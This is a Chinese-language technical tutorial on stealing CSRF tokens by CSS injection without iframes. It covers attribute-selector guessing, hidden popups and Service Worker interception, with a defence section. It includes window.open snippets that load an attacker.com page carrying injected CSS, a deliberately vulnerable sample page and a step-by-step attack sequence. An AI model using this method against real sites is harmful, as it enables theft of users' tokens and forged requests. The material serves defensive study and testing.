利用CSS注入(无iFrames)窃取CSRF令牌
字数 1325 2025-08-18 11:37:02
CSS注入窃取CSRF令牌技术详解
1. 技术背景
CSS注入是一种利用CSS属性选择器窃取敏感数据的技术,特别适用于窃取CSRF令牌。这种攻击方式利用了以下关键特性:
- CSS属性选择器:可以根据属性值匹配子字符串来选择元素
- 资源加载机制:通过匹配结果触发外部资源加载
- 无iframe限制:采用弹窗技术绕过iframe限制
2. 核心原理
2.1 CSS属性选择器攻击
攻击者利用CSS属性选择器的三种匹配模式:
- 前缀匹配:
[attribute^="value"]- 匹配以特定值开头的属性 - 后缀匹配:
[attribute$="value"]- 匹配以特定值结尾的属性 - 包含匹配:
[attribute*="value"]- 匹配包含特定值的属性
2.2 窃取机制
- 通过CSS注入将恶意样式表注入目标页面
- 使用属性选择器针对包含CSRF令牌的表单元素
- 当属性值与猜测模式匹配时,触发外部资源加载
- 通过观察加载的资源,逐字符推断出完整的令牌值
3. 技术实现细节
3.1 无iframe技术实现
传统方法依赖iframe,但现代网站大多限制iframe使用。替代方案:
// 创建虚拟弹窗
var win2 = window.open('https://attacker.com/placeholder', 'f',
"top=100000,left=100000,menubar=1,resizable=1,width=1,height=1");
// 注入CSS的弹窗
var win2 = window.open(
`https://attacker.com/cssInjection/victim.html?injection=${css}`,
'f',
"top=100000,left=100000,menubar=1,resizable=1,width=1,height=1"
);
3.2 无服务器端技术
利用Service Workers拦截请求,避免需要后端服务器:
- 注册Service Worker拦截特定请求
- 通过postMessage将窃取的数据传回主页面
- 将CSRF令牌存储在本地存储中供后续使用
3.3 目标页面示例
<form action="https://victim.com" id="sensitiveForm">
<input type="hidden" id="secret" name="secret" value="dJ7cwON4BMyQi3Nrq26i">
</form>
<script src="mockingTheBackend.js"></script>
<script>
var fragment = decodeURIComponent(window.location.href.split("?injection=")[1]);
var htmlEncode = fragment.replace(/</g,"<").replace(/>/g,">");
document.write("<style>" + htmlEncode + "</style>");
</script>
4. 攻击步骤详解
- 发现注入点:找到存在DOM型CSS注入漏洞的页面
- 构造恶意CSS:编写逐字符猜测CSRF令牌的CSS代码
- 触发弹窗:通过用户事件(如点击)触发恶意弹窗
- 加载恶意CSS:在弹窗中加载包含恶意CSS的目标页面
- 监听响应:通过Service Worker拦截资源请求
- 收集令牌:分析请求模式,逐步构建完整CSRF令牌
- 发起CSRF攻击:使用窃取的令牌构造恶意请求
5. 防御措施
-
实施内容安全策略(CSP):
- 限制外部CSS加载
- 禁止内联样式
-
输入过滤与编码:
- 对用户提供的CSS内容进行严格过滤
- 对特殊字符进行编码
-
CSRF令牌保护:
- 将令牌存储在HttpOnly cookie中
- 使用一次性令牌
- 将令牌与用户会话绑定
-
浏览器安全策略:
- 启用XSS保护
- 限制弹窗行为
6. 技术限制与注意事项
-
浏览器兼容性:
- Service Worker目前主要支持Chrome
- 跨域Service Worker拦截仍处于实验阶段
-
时间敏感性:
- 攻击需要在短时间内完成(约10秒)
- 需要用户交互触发初始弹窗
-
反射型vs存储型:
- 反射型CSS注入比存储型更危险
- 存储型需要服务器在渲染前更新CSS
7. 扩展思考
-
与其他攻击结合:
- 与XSS结合提高攻击成功率
- 与点击劫持结合诱导用户交互
-
未来发展方向:
- 随着浏览器功能演进可能出现新变种
- Web组件等新技术可能引入新的攻击面
-
检测与监控:
- 监控异常CSS加载行为
- 检测可疑的Service Worker活动
通过深入理解这种攻击技术的原理和实现方式,安全人员可以更好地防御此类攻击,同时也能在渗透测试中合理评估相关风险。